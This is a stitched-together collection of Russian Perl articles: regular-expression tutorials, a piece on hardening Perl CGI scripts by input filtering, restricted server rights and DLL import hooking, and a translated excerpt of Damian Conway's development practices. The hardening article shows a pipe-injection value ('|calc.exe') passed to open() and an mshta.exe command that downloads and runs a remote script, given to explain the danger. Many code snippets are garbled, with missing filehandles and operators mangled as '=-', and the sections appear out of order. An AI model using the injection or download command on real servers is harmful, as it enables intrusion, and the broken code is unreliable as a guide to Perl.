print -ne 'print if 3 .. 15' file.txt
выведет строки файла с 3 по 15 строчку, та-же самая опреация но немного по другому:
open F, "){ print if(3 .. 15) }
или с какой нибудь начальной и конечно разметкой, например есть вспомогательный файл шаблонов(просто различные виды html, в зависимости от действия пользователя) для разных определенны случаев, которые нужны исходя из контекста программы:
open F, "){ print if(//i ... //i) }
Такая конструкция позволяет выводить куски многострочного html кода(для однострочного нужно ставить оператор ..).
Условия в таких операторах можно ставить и разнотипными $file=qr/2345/; while(){ print if(/^$/ .. 10); #увидим, что находится от пустой до 10-й строки print if(/^\001/ .. /$file/); #выведет все, что после нуля и до того что задано qr }
Программа чтения почтовых адресов из mbox или sent-mail: while(){ next unless /^From:?\s/i .. /^$/; while (/([^<>(,;)\s]+\@[^<>(,;)\s]+)/)g{ print "$1\n" unless $test{$1}++; } }
запускается ./regex.pl /root/mail/sent-mail и выводит каждый емейл по одному разу.

Рабочие программы, использующие регулярные выражения

В принципе регулярные выражениея это вовсе не вещь в себе, хотя иногда и может встретится задача, фактически полностью реализуемая при помощи regex. Ниже приведены программы, иллюстрирующие использование реглуярных выражений:

Регулярные выражения в Perl

Стив Холзнер
От редактора: Когда мы публиковали это произведение, нам ничего не было известно об его авторстве. Спасибо нашим читателям, благодаря им мы нашли фамилию автора оригинального текста (Стив Холзнер). Но по-прежнему остается неизвестным герой, который перевел его на русский язык. Если Вам известно что-нибудь именно об этом переводе (существуют другие), пожалуйста, ! Сам же текст прислан Тихоном Тарнавским aka t.t. Алексей Федорчук

Split

Если необходимо разделить данные из STDIN по нужному разделителю, то можно воспользоваться локализацией $/:
sub example_local{ local $/ = undef; @mass= split /pattern/, <>; return 1; } print scalar(@mass);
Можно разделять данные из файла и так:
undef $/; @res=split /pattern/, ;
что эквивалентно:
while () {push @asdf, split}
После split можно ставить вместо запятой и стрелочку:
@mass = split /(\d){4}/ => $file;
В функции сплит можно воспользоваться макисмальным квантификатором *, который в том числе и о символов, позволит разделить строку на символы, которых там нет(в силу того, что * это 0 и более символов), т.е. посимвольно:
@ruru = split /\001*/ => "lalalalalala"; #массив @ruru будет содержать элементы по одной букве.
Если строка состоит из нескольких строк, то можно поставить разделителем и символ начала новой строки:
$str = "asdf\nghjk\nqwer\n"; @lines = split /^/ => $str;
Вобщем, в split можно вставлять любой поиск по шаблону.

Ссылки на найденный текст

Иногда нужно сослаться на подстроку текста, для которой получено совпадение с некоторой частью шаблона. Например, при обработке файла, HTML может потребоваться выделять фрагменты текста, ограниченные открывающими и закрывающими метками HTML (например, <А> и ). В начале уже приводился пример, в котором выделялся текст, ограниченнуй метками HTML <А> и . Следующий пример позволяет выделять текст, расположенный между любыми правильно закрытыми метками:
$text = "<А>Here is an anct1or."; if($text=~m%<([A-Za-z]+)>[\w\s\.]+%i){ }
Вместо косой черты в качестве ограничителя шаблона использован другой символ. Это позволяет использовать символ косой черты внутри шаблона без предшествующей ему обратной косой черты. Каждому фрагменту шаблона, заключенному в круглые скобки, соответствует определенная внутренняя переменная. Переменные пронумерованы, так что на них можно ссылаться внутри шаблона, поставив перед номером обратную косую черту (\1, \2, \3,...). На значения переменных можно ссылаться внутри шаблона, как на обычный текст, поэтому соответствует , если открываю-щей меткой служит, и , если открывающей меткой служит .
Эти же самые внутренние переменные можно использовать и вне шаблона, ссылаясь на них как на скаляры с именами $1, $2, $3,..., $n: $text = "I have 4 apples."; if ($text =- /(\(\d+)/) { print "Here Is the number of apples: $1.\n"; Here is the number of apples: 4.
Каждой паре скобок внутри шаблона после завершения операции поиска будет соответствовать скалярная переменная с соответствующим номером. Это можно 'использовать при выделении нужных для последующей работы фрагментов ана-лизируемой строки. В следующем примере мы изменяем порядок трех слов в тек-стовой строке с помощью команды s/.../.../:
$text = "I see you."; $text=-s/^(\w+) *(\w+) *(\w+)/$3 $2 $1/; print $text; you see I.
Переменные, соответствующие фрагментам шаблона, нуумеруются слева направо с учетом вложенности скобок. Например, после следующей операции поиска будут проинициализированы шесть переменных, соответствующих шести парам скобок:
$text = "ABCDEFGH"; $text =- m/(\w(\w)(\w))((\w)(\w))/; print "$1/$2/$3/$4/$5/$6/"; ABC/B/C/DE/D/E
Кроме переменных, ссылающихся на найденный текст, можно использовать специальные переменные perl.

Выделение чисел в математической записи
Пример использования логических условий для нахождения любых чисел в том числе и в общепринятой математической записи:
#!/usr/bin/perl $_=qq~ 1234 34 -4567 3456 -0.35e-0,2 56grf45 -.034 E20 -.034 e2,01 -,045 e-,23 -,034 e201 3e-.20 -,045 e-,23 e-0.88
4 E-0.20 22 E-21 -0.2 w 4 3 345 2 ^-,3 ~; print "$1\n" while m%(([+-]?(?=\d|[\.,]\d)\d*([\.,]\d*)?((\se|e|\s?\^) ([-+]?\d*[,\.]?)\d+)?)|([+-]?e[+-]?\d*[,.]?\d+))%gxi;
программа исправно выводит все числа. Разберем регулярное выражение
m%(([+-]?(?=\d|[\.,]\d)\d*([\.,]\d*)?((\se|e|\s?\^) ([-+]?\d*[,\.]?)\d+)?)|([+-]?e[+-]?\d*[,.]?\d+))%gxi;
в переменной $1 содержится то, что регулярное выражение находит в результате, т.е. m%(...)%gmi. m%((что-то)|([+-]?e[+-]?\d*[,.]?\d+))%gmi нужно для того, чтобы находить числа вида e-20 или E21(так в математике обозначают десятку в какой-то степени, например e-0,20 = 10-0,20 или E20 = 1021). Рассмотрим левое регулярное выражение "что-то" для чисел вида не e20 или E21:
([+-]?(?=\d|[\.,]\d)\d*([\.,]\d*)?((\se|e|\s?\^)([-+]?\d*[,\.]?)\d+)?)
[+-]? - есть ли в перед числом знак + или -. ? - если вообще есть что-то, находящееся внутри впереди стоящего [...]. Выкинем проверку знака, регексп сократится до
(?=\d|[\.,]\d)\d*([\.,]\d*)?((\se|e|\s?\^)([-+]?\d*[,\.]?)\d+)?
рассмотрим regex (?=\d|[\.,]\d)\d* логический оператор (?=B) требует, чтобы перед числов было B. В данном случае B представляет из себя regex \d|[\.,]\d Regex \d|[\.,]\d значит, что перед каждым числом должно быть что-то либо просто число, либо число, перед которым стоит либо запятая, либо точка, т.е. находим все числа вида ,2 .2 или просто числа 2(2 выбрано для примера, может быть и 3). Далее скобка закрывается и идет \d*, т.е. число вида ,2 точно пройдет(например ,2 e-,23 где перед запятой забыли поставить нолики, но мало ли бывает, забыли, надо и это предусмотреть. Вообще когда пишешь программу, надо предполагать, что е использовать будет ленивый склеротический чайник, правда не всегда возможно предугадать что учудит юзер, но к этому надо стремится), а вот число вида ,223 не пройдет. Да и regex (?=\d|[\.,]\d) говорит о том, что нужно найти только одну цифру после запятой. Для остальных цифр и нужен квантификатор \d*, который значит любое количество цифр, в том числе и ноль, т.е. оно работает и для числе вида .2 или ,2 Далее идет регулярное выражение ([\.,]\d*)? которое говорит о том, есть ли вообще точка и запятая(здесь всю полную строчку в принципе можно усовершенствовать) и число \d*(в том числе и его отсутствие, ведь квантификатор * значит любой символ в том числе и ноль). Отбрасывая все что было выше от этого большого регулярного выражения остается строчка:

((\se|e|\s?\^)([-+]?\d*[,\.]?)\d+)?

Эта строчка отвечает за поиск в строке $_ математических обозначений степеней типа e201, E,20(число в степени 0,20 например a-0,20) и т.д. но только для подстрок вида -,034 e201. Заметьте, что в конце стоит знак вопроса, т.е. если степенное обозначение вообще существует. (\se|e|\s?\^) есть ли числа вида -,034 e201 или -,034e201 и числа в "компьютерной" записи вида 2 ^-,3 = 2-0,3, т.е. этим регекспом мы разрешили пользователю ставить или не ставить пробел при указании степени и разрешили писать значек ^ с пробелом перед ним(если есть). Далее идет выражение ([-+]?\d*[,\.]?), которое говорит о том, что степень может быть с + или - (типа e,-23 где юзер забыл поставть нолик, а на самом деле хотел написать a-0,23). Дальше идет цифра \d* (а может и не идет, т.к. квантификатор то *). Потом идет либо точка либо запятая(причем тут негласно введено ограничение на использование запятой/точки, после e, если степень дробная или вообще есть, точка или запятая должна быть, иными словами не имеет смысла написать -2,34e-,23, хотя юзер на самом деле хотел написать число -2,34-0,23). Наконец мы добрались до конца: идет \d+, но тут уж, пользователь, будь добр напиши хотя бы одно число, т.к. квантификатор +, а не * после \d. Т.е. наложили своего рода ограничения здравого смысла, можно просто написать 2, а можно написать и 2e,- что суть бессмыленно. И еще, m%(что-то)%igm стоит квантификатор i, который разрешает e быть и заглавным и квантификатор x, который разрешает разносить регулярное выражение на несколько строк.

Прошу прошения что не ставил иногда знаки препинания, которые есть точка и запятая, тогда Вы бы подумали, что что-то лишнее написно и не подсечено как спецсимвол при помощи бэкслэша \.

Итак, регулярным выражением m%(([+-]?(?=\d|[\.,]\d)\d*([\.,]\d*)?((\se|e|\s?\^) ([-+]?\d*[,\.]?)\d+)?)|([+-]?e[+-]?\d*[,.]?\d+))%gxi;

были предусмотрены числа степенного порядка, просто числа, числа со знаком, нецелые числа вида ,3(которое есть 0,3 или 0.3), ошибки пользователя при вводе чисел( типа -.034 e2,01 хотя надо бы писать либо -,034 e2,01 либо -.034 e2.01 хотя по смыслу перед точками и запятыми нужно ставить нули, но мы предусмотрели и это) и числа в "компьютерном" представлении.

Конечно, данное регулярное выражение не претендует на абсолютную работу, т.к. оно успешно не работает на подстроках вида -,045 e -,23 e-0.88 считая -,045 отдельным числом, а -,23 возводит в степень e-0.88, хотя по идее должно было бы быть два числа -,045 e -,23 и e-0.88, в таком случае еще одно ограничение пользователю: если хочется, чтобы степенные числа понимались корректно(для этой программы), то нельзя ставить пробел перед степенью e.

Вывод результатов поиска
Предположим есть необходимость подсветить результаты поиска в файлах, подобно тому как это делает поисковик aport. Данное регулярное выражение позволяет влоб реализовать эту красивую функцию для поисковика. но оно имеет очень большой минус, при обработке текста машина начинает неимоверно подтормаживать, но мы рассмотрим этот регексп из общих соображений:
$sn=4; { local $_=$description1; print "...$1$3$4..." while(m/(([\s,\.\n^]*\w*){$sn})(\s*$query\s*)(([\s,\.\n^]*\w+){$sn})/ig); } $_="";
Исходная задача состоит в следующем: вывести по 4 слова спереди и сзади результата поиска, причем так, чтобы если слово находится первым, то будет видно 4 слова позади него. В точности такое-же условие и для последнего слова.
Соответственно из вида регекспа понятно, что разделителями слов могут быть символы [\s,\.\n^]*, в том числе и символ перевода каретки ^. Комбинация (\d\d\d){$sn} значит что нужно найти 3 цифры три раза.

Фильтрация пользовательского ввода
В статьях о безопасном программировании на языке Perl можно встретить рекомендации фильтровать пользовательский ввод: в частности, удалять из полученных извне строк символы | и другие знаки, имеющие в Perl специальное значение. Например, следующая фильтрация ввода "обеззаразит" полученное извне имя файла от специальных и опасных символов.
if ($filename =~/[<>\|\-&\.\\\/\0]/) {die "Недопустимый символ в имени файла \n";} open(f, $filename);
Оцените, какое изобилие специальных значков - "крокозябликов" надо отфильтровать для простой функции открытия файла. Очевидно, что надо быть глубоким экспертом по языку Perl и очень внимательным человеком, чтобы правильно расставить все фильтры. Поскольку от человека, в отличие от железного лома, трудно требовать стопроцентной надежности, расставленные в разных местах программы "ловушки на крокозябликов" на практике могут не сработать.

Кому это нужно?
Мне хотелось бы развеять предубеждение некоторых системных администраторов, что взлом именно их сервера никому не нужен. Железный аргумент - ссылка на Неуловимого Джо ("не такая уж мы важная птица, чтобы нас ломать"). В действительности, взлом любого (произвольного) сервера может принести хакеру пользу, поскольку открывает ему новые замечательные возможности:

Разослать с уязвимого сервера пару-тройку гигабайт почтового спама.

Устроить на уязвимом сервере "варезятник" для нелицензионного софта, музыки и видео.

Выполнить сложный и интересный математический расчет (обычно просчитывают криптографию, чтобы подобрать чей-то ключ, вовлекая в этот процесс - чтобы дело шло быстрее - множество взломанных машин).

Взломать или "заглушить" мусорными запросами (атака "отказ в обслуживании") более важный сервер (например, сервер какого-нибудь банка или государственного учреждения).

Таким образом, уязвимые серверы, независимо от их важности, представляют опасность не меньшую, чем те люди, которые умеют использовать эти серверы по их прямому назначению. :-)

"Лоботомия" Perl
Лоботомия - это операция по изменению личности путем повреждения лобных долей мозга, отвечающих за агрессию. Одно время эту операцию применяли по отношению к преступникам, чтобы уменьшить их опасность для общества. Хирург при помощи специального инструмента через глазницы достигал этой области мозга и легким постукиванием деревянным молоточком по рукоятке инструмента наносил необходимые повреждения (избыточная кровь и клеточная масса удалялись с помощью гибкого зонда).
Применять подобную операцию мы будем не к хакерам (в свое время ее признали бесчеловечной и антигуманной), а к бинарному дистрибутиву Perl, чтобы "отрубить" у него "агрессивную" реакцию на символ | ("конвейер").
Для этого мы отыщем в бинарном дистрибутиве Perl подстроку "cmd.exe" (вызов стандартной оболочки Windows NT/2000/XP). (Для Windows 9x имя стандартной оболочки - "command.com"). Нас интересуют файлы с расширением dll, где найдена эта строка. Если мы вызываем Perl запуском perl.exe, то нужная нам компонента - Perl56.dll (название может отличаться в зависимости от версии дистрибутива). Заменим каким-нибудь редактором (я использую встроенный редактор Far) подстроку cmd.exe на что-нибудь другое той же длины, например, sex.exe. Таким образом, символ "конвейера" окажется нерабочим, однако, мы сможем по-прежнему запускать приложения функцией system("ИмяПрограммы"). Так, согласитесь, хотя и менее компактно, зато гораздо безопаснее и менее агрессивно. :-)
Программа sex.exe должна выводить на стандартный вывод (stdout) какое-нибудь доброе и трогательное приветствие для хакера. Я надеюсь, что с ее созданием вы легко справитесь самостоятельно. :-).

Ограничение прав Web-сервера
Internet-сервер и все запущенные им приложения, так или иначе, контактирующие со всем внешним миром, не должны иметь права администратора или привилегированного пользователя. Назначить службе Web-сервера ограниченные права - очень надежный (и, наверное, единственно правильный) способ защитить свой сервер от атак извне.
При проектировании Internet-сайта необходимо с самого начала разбить его информационное содержимое на отдельные папки, где находятся:

а) выполняемые скрипты и программы

б) данные, предназначенные только для чтения (HTML-страницы)

в) данные, предназначенные для изменения посетителями.

Пользователь, под именем которого будет запущен Internet-сервер, должен иметь доступ только к этим папкам, причем, на скрипты и данные надо наложить запрет записи (иначе хакер может слегка изменить внешний вид и функционирование вашего сайта), а на данные, предназначенные для изменения внешними пользователями - запрет выполнения (иначе он сможет создать и тут же выполнить в этой папке все что угодно). Этот вариант защиты теоретически "невскрываем" - но на практике у начинающего администратора возникнет ряд сложностей.
Так, в системе Windows web-сервер не запустится, если не открыть ему на доступ системные dll в папке c:\winnt\system32. А если их открыть, всему миру окажутся доступными замечательные программы наподобие regedt32.exe, mshta.exe и т.д. Можно, конечно, переписать на листочек список необходимых программе системных dll и открыть на доступ Internet-серверу только их. Но многие ли администраторы это делают (и надо ли им это?).
В Unix-подобных системах существуют свои трудности (одна из возможных проблем - закрытый 80 порт для процессов, не имеющих административных привилегий в системе).
В любом случае, этот метод защиты требует хорошей подготовки и высокой мотивации администратора системы, что указывает на фундаментальный недостаток такой защиты: ее нельзя установить принудительно, вместе с установкой защищаемой программы, и надежность компьютерной системы полностью зависит от надежности самого слабого ее звена - человеческого мозга.

Перехват системных вызовов
Мы предупредили не все опасности, подстерегающие Perl-программиста.
Давайте предположим, что мы хотим запретить интерпретатору Perl:

запуск любых внешних программ (мудрое решение; ту же отсылку почты безусловно лучше выполнять стандартными функциями Perl - иначе "лоботомию", в той или иной степени, пришлось бы выполнять ко всем программам, которые мы запускаем)

чтение файлов, если расширение не ".html"

запись файлов, если расширение не ".user".

Получив такой дистрибутив Perl, даже ... скажем так, не совсем грамотный Web-программист (требовать иного от живых людей мы не только не вправе, но и не в состоянии) будет чувствовать себя комфортно и, самое главное, сухо.
Роль "защитной прокладки" в данном случае выполнит специальная dll, которая перехватит указанные нами системные вызовы и, при необходимости, их заблокирует.
в случае Perl нам необходимо перехватывать системную функцию CreateProcessA (запуск приложения) из библиотеки KERNEL32.dll, а также функцию fopen (открытие файла на чтение или на запись) из библиотеки MSVCRT.dll.
Мы будем использовать системные функции Windows GetProcAddress и GetModuleHandle, чтобы получить адреса функций для перехвата, ImageDirectoryEntryToData - чтобы получить адрес начала таблицы импорта, и функции VirtualProtect и WriteProcessMemory, чтобы внести изменения в эту таблицу.
Опираясь на эти ключевые слова, вы можете отыскать в Internet готовое решение, либо написать приложение-"перехватчик" самостоятельно. Получившийся у меня результат перехвата (я использовал компилятор Delphi, поскольку для языка C примеров можно найти достаточно) вы можете скачать .

Почему Perl уязвим?
Рациональное объяснение, зачем функция open в Perl отрабатывает символ конвейера | как команду запустить программу на выполнение, дать сложно: Perl вообще довольно иррациональный (зато гибкий и компактный) язык. :-) Автор языка Perl Ларри Уолл в шутку расшифровывает его название как Patalogically Eclectic Rubbish Lister (Паталогически Эклектичный Мусорный Листер) - мы можем лишь пожелать, чтобы следующие его версии развивались в направлении большей безопасности, однозначности и безошибочности кода - столь необходимых качеств для общедоступных Internet-приложений. Безусловно, "патологичность", "эклектичность" и "мусорность" - это отрицательные черты, с которыми Ларри Уолл должен бороться. :-)

Внедрение защитной DLL
Технология динамически компонуемых библиотек (DLL) существенно облегчает модификацию Windows-приложений (закрытый исходный код компенсируется тем, что все названия функций и точки их входа не только хорошо видны, но и доступны для изменения).
Чтобы "пристыковать" dll в адресное пространство процесса, я использую метод подмены DLL (есть и другие методы, этот в данном случае, пожалуй, самый простой). Для этого я захожу ... правильно, текстовым редактором в исполняемый файл Perl.exe и исправляю подстроку Perl56.dll на romix1.dll (так мы назовем нашу защитную компоненту).
Пробую запускать Perl.exe. Конечно же, Perl пишет, что не найдена необходимая библиотека romix1.dll. Ну что же, создадим ее. Для этого скомпилируем программу из трех строк на Delphi, назвав ее romix1.dpr:
library romix1; begin
end.
Этого недостаточно: теперь Perl при запуске выдает ошибку:
"Perl.exe связан с отсутствующим компонентом Romix1.dll:RunPerl".
Perl импортирует единственную функцию RunPerl из этой библиотеки, и мы ее сейчас создадим (наша "подделка" будет просто передавать управление на "оригинал"):
library romix1; procedure RunPerlOrig; external 'Perl56.dll' name 'RunPerl'; //Это оригинальная функция RunPerl из библиотеки Perl56.dll.
procedure RunPerl; export; stdcall; //Перехватчик функции RunPerl begin
asm
jmp RunPerlOrig; //Делаем переход (jump)
end; end; exports RunPerl;
begin
end.
Ассемблерная вставка делает переход, куда надо. Теперь ругательные сообщения прекратились, и изменений в работе Perl не видно. Зато мы достигли важного результата: наша dll стала полноправным членом (если не мозгом) исполняемого процесса Perl.exe. Дальнейшее становится делом техники (точнее, системных вызовов Windows API и нескольких "точечных" замен в таблице импорта Perl56.dll). Вы можете взять готовый код и посмотреть, что у меня .
Вы можете спросить: как я узнал, какие DLL и функции импортирует программа? Ответ прост: dumpbin.exe из студии разработки Microsoft.
Пример вызова этой утилиты из командной строки:
dumpbin.exe /imports perl.exe
"За кадром" остались такие специальные вопросы, как формат таблицы импорта Windows-программы. Отчасти эту информацию можно получить в комментариях исходного кода, а отчасти - из литературы. Кстати, полезные для начинающих хакеров источники (например, книги Криса Касперски, Джеффри Рихтера и Мэтта Питрека) можно скорее найти в сети Internet, чем в книжных магазинах, где их почему-то очень быстро раскупают. :-)

от атак из Internet. Мы
Мы попытались защитить Perl - один из наиболее популярных (хотя и несколько эклектичных) :-) языков для работы с CGI - от атак из Internet. Мы делали это на разных уровнях:

Фильтрацией пользовательского ввода

Ограничением прав доступа

Заменой подстрок в теле программы

Перехватом системных вызовов

Возможны еще два уровня защиты:

Перекомпиляция Perl

Перекомпиляция ядра операционной системы.

Эффективность защиты во всех рассмотренных случаях идет "по нарастающей".
Разумеется, нам важна не просто перекомпиляция, а перекомпиляция с внедрением защитных проверок. Наша цель - внедрить эти проверки тем или иным способом, пусть даже антигуманным и "хакерским". При помощи деревянного молоточка.
А авторы дистрибутивов уже сами разберутся, включать ли защитные опции в состав своих продуктов, и активизировать ли их по умолчанию. :-)

Защищаем Perl

Уязвимые CGI-скрипты - замечательная лазейка в компьютерные системы. Можем ли мы "перекрыть" ее со 100% надежностью, раз и навсегда? В статье проанализированы достоинства и недостатки существующих подходов к защите Perl и предложен метод защиты, основанный на "хакерской" (клин клином вышибают!) подмене системных функций процесса.
Прим. ред. Обращаем внимание читателей на то, что редакция CITForum.ru не всегда разделяет взгляды авторов на методы устранения проблем и не несет никакой ответственности за последствия их применения.
Если вы программируете (или собираетесь программировать) Internet-приложения на языке Perl, то наверняка сталкивались с информацией, описывающей уязвимости этого языка для хакерских атак. Простейший скрипт, приведенный в любом учебнике по языку Perl, на поверку оказывается "широко открытыми воротами" для хакеров, как многоопытных, так и начинающих. Например, фрагмент кода, который просто выводит содержимое указанного файла
open(f,$filename); while() { print; }
на самом деле может выполнять и другие действия. Подайте на его вход строку "|calc.exe", и вы запустите на выполнение стандартный калькулятор. В запуске на удаленном сервере стандартных программ (таких как calc.exe или notepad.exe) мало смысла, если не знать про идеальную отмычку хакера - утилиту mshta.exe. Она входит в стандартную поставку Windows и позволяет легко и непринужденно закачивать в атакуемую систему и выполнять в ней произвольный код.
Например, выполнение в системе команды:
mshta.exe http://www.malware.com/foobar.hta
приведет к скачиванию на компьютер файла foobar.hta и исполнению его как скрипта VBS. Этот пример создает и запускает безвредное (по заверениям устроителей сайта malware.com) приложение для MS-DOS, показывающее стандартный алгоритм генерации пламени. Естественно, таким же способом можно закачать и выполнить в системе произвольный исполняемый файл, даже если его там еще нет.

Десять практических рекомендаций разработчикам на Perl
Дэмиан Конвей (Damian Conway), Perl.com

Оригинал: Ten Essential Development Practices
Перевод: Валерий Студенников
Следующие десять советов являются выдержкой из Perl Best Practices, новой книги Дэмиана Конвея о программировании на Perl и о разработке в целом.

Добавляйте новые тесты перед тем, как начнёте отладку
Первый шаг в любом процессе отладки -- это выделить наименьший кусок кода, который демонстрирует ошибку. Иногда вам Везёт, и это делают за Вас:
To: DCONWAY@cpan.org From: sascha@perlmonks.org Subject: Ошибка в модуле inflect
Здравствуйте,
Я использую модуль Lingua::EN::Inflect для приведения к нормальной форме терминов в приложении для анализа данных, которое я разрабатываю. И, похоже, я нашёл баг в этом модуле. Вот пример, который его демонстрирует:
use Lingua::EN::Inflect qw( PL_N ); print PL_N('man'), "\n"; # Выводит "men", как и ожидалось print PL_N('woman'), "\n"; # Выводит неверное значение - "womans"
Как только Вы сварганили короткий пример, демонстрирующий ошибку, превратите его в серию тестов, типа:
use Lingua::EN::Inflect qw( PL_N ); use Test::More qw( no_plan ); is(PL_N('man') , 'men', 'man -> men' ); is(PL_N('woman'), 'women', 'woman -> women' );
Не пытайтесь сразу пофиксить баг. Сначала добавьте необходимые тесты в Ваш набор тестов. Если у Вас уже есть набор тестов, Вы просто добавляете пару записей в Вашу табличку:
my %plural_of = ( 'mouse' => 'mice', 'house' => 'houses', 'ox' => 'oxen', 'box' => 'boxes', 'goose' => 'geese', 'mongoose' => 'mongooses', 'law' => 'laws', 'mother-in-law' => 'mothers-in-law',
# Сашин баг, зарепорченный 27 Aug 2004... 'man' => 'men', 'woman' => 'women', );
Фишка вот в чём: если исходный набор тестов не сигнализирует об этой ошибке, значит этот набор тестов неполноценный. Он просто не выполняет свою работу (по нахождению ошибок) адекватно. Добавьте туда тесты, которые не будут пройдены:
> perl inflections.t ok 1 - house -> houses ok 2 - law -> laws ok 3 - man -> men ok 4 - mongoose -> mongooses ok 5 - goose -> geese ok 6 - ox -> oxen not ok 7 - woman -> women # Failed test (inflections.t at line 20) # got: 'womans' # expected: 'women' ok 8 - mother-in-law -> mothers-in-law ok 9 - mouse -> mice ok 10 - box -> boxes 1..10 # Похоже, 1 тест из 10 провален.

Как только Ваш набор тестов корректно обнаруживает проблему, Вы исправляете баг и теперь Вы сможете точно сказать что исправили его, поскольку программа снова корректно проходит все тесты.

Этот подход к отладке наиболее эффективен когда набор тестов покрывает весь спектр случаев, при которых проявляется проблема. При добавлении тестов для ошибки, не ограничивайтесь просто добавлением одного простого теста. Убедитесь, что Вы включили также различные варианты:

my %plural_of = ( 'mouse' => 'mice', 'house' => 'houses', 'ox' => 'oxen', 'box' => 'boxes', 'goose' => 'geese', 'mongoose' => 'mongooses', 'law' => 'laws', 'mother-in-law' => 'mothers-in-law',

# Sascha's bug, reported 27 August 2004... 'man' => 'men', 'woman' => 'women', 'human' => 'humans', 'man-at-arms' => 'men-at-arms', 'lan' => 'lans', 'mane' => 'manes', 'moan' => 'moans', );

Чем тщательнее Вы тестируете программу на предмет наличия ошибок, тем более безошибочной будет программа.

Используйте систему управления версиями
Поддержание контроля над созданием и модификацией исходного кода чрезвычайно важно для надёжной командной разработки. И не только для исходного кода: вы можете управлять версиями Вашей документации, файлов с данными, шаблонов документов, make-файлов, листов стилей, журналов изменений (changelogs) и любых других ресурсов, требующихся для Вашей системы.
Также как Вы не будете использовать редактор? не поддерживающий команду Undo или текстовый процессор, который не может объединять документы, вы не должны использовать набор файлов, который Вы не можете "откатить" на их предыдущие версии, или среду разработки. которая не может интегрировать работу нескольких программистов.
Программисты совершают ошибки и, порой эти ошибки будут катастрофическими. Они (программисты) могут переформатировать диск, содержащий последнюю версию Вашего кода. Или неверно вызвать макрос текстовом редакторе, который запишет нули в исходный текст Вашего главного модуля. Или два разработчика могут одновременно редактировать один и тот же файл и половина их изменений будет потеряно. Системы управления версиями могут предотвратить эти типы проблем.
Кроме того, иногда наилучший путь выйти из тупика -- просто "выбросить" все вчерашние изменения, вернуться к предыдущей работающей версии и начать всё заново. Или, если действовать менее "круто", можно посмотреть построчный diff
между Вашим текущим кодом и кодом последней работающей версии из Вашего репозитория, найти последние "улучшения" и выяснить, какие из них приводят к проблемам.
Системы управления версиями, такие как RCS, CVS, Subversion, Monotone, darcs, Perforce, GNU arch или BitKeeper помогут защитить от бедствий и обеспечить возможность "отката", если что-то пойдёт совсем не так. Различные системы имеют разные сильные стороны и ограничения, многие из которых построены на совершенно различных принципах. Хорошая идея -- попробовать несколько систем и найти ту, которая лучше всего подходит Вам. Рекомендую почитать Pragmatic Version Control Using Subversion, by Mike Mason (Pragmatic Bookshelf, 2005) и Essential CVS, by Jennifer Vesperman (O'Reilly, 2003).

Не оптимизируйте код -- замеряйте его производительность!
Если Вам нужна функция для удаления дублирующихся элементов массива, вполне естественно, что однострочная версия наподобие этой:
sub uniq { return keys %{ { map {$_ => 1} @_ } } }
будет более эффективна, чем два оператора:
sub uniq { my %seen; return grep {!$seen{$_}++} @_; }
До тех пор пока Вы не будете глубоко знакомы с внутренностями Perl-интерпретатора (а в этом случае Вы наверняка уже будете решать вопросы посложнее), интуиция по поводу относительного быстродействия двух конструкций является ничем иным как неосознанным выбором.
Единственный способ узнать какая из двух альтернатив быстрее — замерить каждую из них. Со стандартным модулем Benchmark это просто:
# Короткий список не-совсе-уникальных значений... our @data = qw( do re me fa so la ti do );
# Различные кандидаты... sub unique_via_anon { return keys %{ { map {$_ => 1} @_ } }; }
sub unique_via_grep { my %seen; return grep { !$seen{$_}++ } @_; }
sub unique_via_slice { my %uniq; @uniq{ @_ } = (); return keys %uniq; }
# Сравнить, используя текущий набор данных из @data... sub compare { my ($title) = @_; print "\n[$title]\n";
# Создать сравнительную таблицу различных замеров времени, # при том, чтобы каждый запуск продолжался минимум 10 секунд... use Benchmark qw( cmpthese ); cmpthese -10, { anon => 'my @uniq = unique_via_anon(@data)', grep => 'my @uniq = unique_via_grep(@data)', slice => 'my @uniq = unique_via_slice(@data)', };
return; }
compare('8 элементов, 10% повторяющихся');
# Зве копии исходных данных... @data = (@data) x 2; compare('16 элементов, 56% повторяющихся');
# Сто копий исходных данных... @data = (@data) x 50; compare('800 элементов, 99% повторяющихся');
Процедура cmpthese() принимает в качестве аргумента число и далее ссылку на хэш с тестами. Число обозначает либо точное число запусков каждого теста (если это число положительное), либо количество секунд процессорного времени, в течение которого нужно гонять каждый тест (если число отрицательное). Обычные используемые значения — примерно 10'000 повторений или 10 CPU-секунд, но модуль предупредит Вас если тест будет слишком коротким для получения точного замера.

Ключи хэша с тестами представляют собой имена тестов, а их значения ‐ код соответствующих тестов. Эти значения могут быть как строками (которые будут выполнены с помощью eval) или ссылками на функции (которые будут вызваны напрямую).

Код для замера быстродействия, приведённый выше, выдаст что-то типа:

[8 элементов, 10% повторяющихся] Rate anon grep slice anon 28234/s -- -24% -47% grep 37294/s 32% -- -30% slice 53013/s 88% 42% --

[16 элементов, 56% повторяющихся] Rate anon grep slice anon 21283/s -- -28% -51% grep 29500/s 39% -- -32% slice 43535/s 105% 48% --

[800 элементов, 99% повторяющихся] Rate anon grep slice anon 536/s -- -65% -89% grep 1516/s 183% -- -69% slice 4855/s 806% 220% --

Каждая из выведенных таблиц содержит отдельную строку для каждого из поименованных тестов. В первой колонке -- абсолютная скорость каждого кандидата, в повторениях в секунду, а остальные колонки позволяют Вам сравнить полученный результат с остальными двумя тестами. Например последний тест показывает, что grep по сравнению с anon

выполняется в 1.83 раза быстрее (это 185 процента). Также grep был на 69 процентов медленнее (на -69 процентов быстрее) чем slic.

В целом, все три теста показывают, что решения, основанные на slice

неизменно быстрее других на этом наборе данных на этой конкретной машине. Также становится ясно, что с увеличением размера массива, slice

всё больше выигрывает у конкурентов.

Однако эти два заключения были сделаны на основании всего трёх наборов данных (а именно, на основании трёх запусков замера быстродействия). Для того, чтобы получить более показательное сравнение этих трёх методов, Вы также должны протестировать другие возможности, такие как длинный список неповторяющихся значений или короткий список, состоящий только из повторений.

Лучше всего попробуйте тесты на реальных данных, которые Вам нужно будет обрабатывать.

Например, если данные являются отсортированным списком из четверти миллиона слов, с минимальными повторениями, а после обработки список должен оставаться отсортированным, то вот тест для такого случая:

our @data = slurp '/usr/share/biglongwordlist.txt';

use Benchmark qw( cmpthese );

cmpthese 10, { # Note: the non-grepped solutions need a post-uniqification re-sort anon => 'my @uniq = sort(unique_via_anon(@data))', grep => 'my @uniq = unique_via_grep(@data)', slice => 'my @uniq = sort(unique_via_slice(@data))', };

Неудивительно, что решение, основанное на grep

здесь на высоте:

s/ iter anon slice grep anon 4.28 -- -3% -46% slice 4.15 3% -- -44% grep 2.30 86% 80% --

